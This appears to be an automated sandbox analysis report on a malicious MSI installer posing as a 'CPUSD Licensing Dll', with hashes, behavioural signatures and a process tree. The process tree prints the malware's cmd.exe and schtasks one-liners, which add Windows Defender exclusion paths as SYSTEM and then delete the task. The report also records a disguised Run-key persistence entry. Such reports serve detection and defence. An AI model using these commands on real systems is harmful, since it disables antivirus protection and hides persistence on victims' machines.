Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
01/08/2026, 04:25
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_c0rd006.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
24 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_c0rd006.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
24 signatures
150 seconds
General
- Target install_c0rd006.msi
- Size 9.8MB
- Sample260801-e16hmadf38
- SHA256 4302a9aa3bce51f552e580f24a2fa3d6cf9b05c28fd6229ac5bb03faf52a064c
- MD5 09db2295137289130b10fc1bc9a6315d
- SHA1 89c7a76702a83b16d01c7d135f33194ff17cda15
- SHA512 4133ae5861de67a109e1bfb1c6120a536e8ce706e02131b409e5aa6cf4a3f147508907172cbf16baaf12a71a79926364d2eb6848e6d1d5c7abc4dc00a0c3d7e6
- SSDEEP 196608:aGQsDfgyXWpMBjrDVgm2VrS9Ax75hbkJBOfWoEiU:xDLimyrS9Ax5aBGIB
- TLSH T1C1A63386F8D563B0D08FD7B32501223FB2187FD5AB624E5978EA360C9D72B5524F234A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\xU7s6o = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation FRubzR.exe - Executes dropped EXE 1 IoCs
pid Process 2140 FRubzR.exe - Loads dropped DLL 2 IoCs
pid Process 2636 MsiExec.exe 2140 FRubzR.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\xU7s6o\\FRubzR.exe\"" FRubzR.exe - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 38 2636 MsiExec.exe 61 2636 MsiExec.exe 66 2636 MsiExec.exe 70 2636 MsiExec.exe 71 2636 MsiExec.exe 77 2636 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4212 cmd.exe 2044 cmd.exe 552 cmd.exe 1636 cmd.exe 4556 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b FRubzR.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\e588bef.msi msiexec.exe File opened for modification C:\Windows\Installer\e588bef.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{D9042978-6444-D40B-2C07-4A301453BD6D} msiexec.exe File created C:\Windows\Installer\e588bf1.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI8CE9.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8DA6.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 760 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 464 cmd.exe 2944 cmd.exe 388 cmd.exe 1472 cmd.exe 4644 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c8f0fe5d92f37a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000020c8f0fe0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090020c8f0fe000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a20c8f0fe000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d20c8f0fe000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\PackageName = "install_c0rd006.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\ProductName = "CPUSD Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\PackageCode = "B5C5DED2A6FA3F340806EAF96F2E56F9" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16\8792409D4446B04DC270A4034135DBD6 msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 448 schtasks.exe 704 schtasks.exe 4704 schtasks.exe 2200 schtasks.exe 1176 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4548 msiexec.exe 4548 msiexec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2636 MsiExec.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe 2140 FRubzR.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 656 Process not Found 656 Process not Found 656 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 760 msiexec.exe Token: SeIncreaseQuotaPrivilege 760 msiexec.exe Token: SeSecurityPrivilege 4548 msiexec.exe Token: SeCreateTokenPrivilege 760 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 760 msiexec.exe Token: SeLockMemoryPrivilege 760 msiexec.exe Token: SeIncreaseQuotaPrivilege 760 msiexec.exe Token: SeMachineAccountPrivilege 760 msiexec.exe Token: SeTcbPrivilege 760 msiexec.exe Token: SeSecurityPrivilege 760 msiexec.exe Token: SeTakeOwnershipPrivilege 760 msiexec.exe Token: SeLoadDriverPrivilege 760 msiexec.exe Token: SeSystemProfilePrivilege 760 msiexec.exe Token: SeSystemtimePrivilege 760 msiexec.exe Token: SeProfSingleProcessPrivilege 760 msiexec.exe Token: SeIncBasePriorityPrivilege 760 msiexec.exe Token: SeCreatePagefilePrivilege 760 msiexec.exe Token: SeCreatePermanentPrivilege 760 msiexec.exe Token: SeBackupPrivilege 760 msiexec.exe Token: SeRestorePrivilege 760 msiexec.exe Token: SeShutdownPrivilege 760 msiexec.exe Token: SeDebugPrivilege 760 msiexec.exe Token: SeAuditPrivilege 760 msiexec.exe Token: SeSystemEnvironmentPrivilege 760 msiexec.exe Token: SeChangeNotifyPrivilege 760 msiexec.exe Token: SeRemoteShutdownPrivilege 760 msiexec.exe Token: SeUndockPrivilege 760 msiexec.exe Token: SeSyncAgentPrivilege 760 msiexec.exe Token: SeEnableDelegationPrivilege 760 msiexec.exe Token: SeManageVolumePrivilege 760 msiexec.exe Token: SeImpersonatePrivilege 760 msiexec.exe Token: SeCreateGlobalPrivilege 760 msiexec.exe Token: SeBackupPrivilege 3608 vssvc.exe Token: SeRestorePrivilege 3608 vssvc.exe Token: SeAuditPrivilege 3608 vssvc.exe Token: SeBackupPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeBackupPrivilege 2468 srtasks.exe Token: SeRestorePrivilege 2468 srtasks.exe Token: SeSecurityPrivilege 2468 srtasks.exe Token: SeTakeOwnershipPrivilege 2468 srtasks.exe Token: SeBackupPrivilege 2468 srtasks.exe Token: SeRestorePrivilege 2468 srtasks.exe Token: SeSecurityPrivilege 2468 srtasks.exe Token: SeTakeOwnershipPrivilege 2468 srtasks.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe Token: SeTakeOwnershipPrivilege 4548 msiexec.exe Token: SeRestorePrivilege 4548 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 760 msiexec.exe 760 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 4548 wrote to memory of 2468 4548 msiexec.exe 100 PID 4548 wrote to memory of 2636 4548 msiexec.exe 102 PID 2140 wrote to memory of 552 2140 FRubzR.exe 114 PID 552 wrote to memory of 2200 552 cmd.exe 116 PID 552 wrote to memory of 4912 552 cmd.exe 117 PID 464 wrote to memory of 4448 464 cmd.exe 120 PID 552 wrote to memory of 1416 552 cmd.exe 121 PID 2140 wrote to memory of 1636 2140 FRubzR.exe 123 PID 1636 wrote to memory of 1176 1636 cmd.exe 126 PID 1636 wrote to memory of 408 1636 cmd.exe 127 PID 1636 wrote to memory of 2692 1636 cmd.exe 130 PID 2944 wrote to memory of 2764 2944 cmd.exe 131 PID 2140 wrote to memory of 4556 2140 FRubzR.exe 132 PID 4556 wrote to memory of 448 4556 cmd.exe 134 PID 4556 wrote to memory of 2384 4556 cmd.exe 135 PID 4556 wrote to memory of 1004 4556 cmd.exe 138 PID 388 wrote to memory of 2440 388 cmd.exe 139 PID 2140 wrote to memory of 4212 2140 FRubzR.exe 140 PID 4212 wrote to memory of 704 4212 cmd.exe 142 PID 4212 wrote to memory of 1324 4212 cmd.exe 143 PID 4212 wrote to memory of 3744 4212 cmd.exe 146 PID 1472 wrote to memory of 4632 1472 cmd.exe 147 PID 2140 wrote to memory of 2044 2140 FRubzR.exe 148 PID 2044 wrote to memory of 4704 2044 cmd.exe 150 PID 2044 wrote to memory of 452 2044 cmd.exe 151 PID 4644 wrote to memory of 4248 4644 cmd.exe 154 PID 2044 wrote to memory of 3436 2044 cmd.exe 155 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_c0rd006.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:760
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2468
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding B360B97A102ECA05A6EE5A5E5F89D922 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2636
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3608
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C:\Users\Public\xU7s6o\FRubzR.exeC:\Users\Public\xU7s6o\FRubzR.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xU7s6o\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xU7s6o\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2200
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4912
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1416
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1636 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1176
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:408
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:448
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2384
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:704
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1324
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4704
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:452
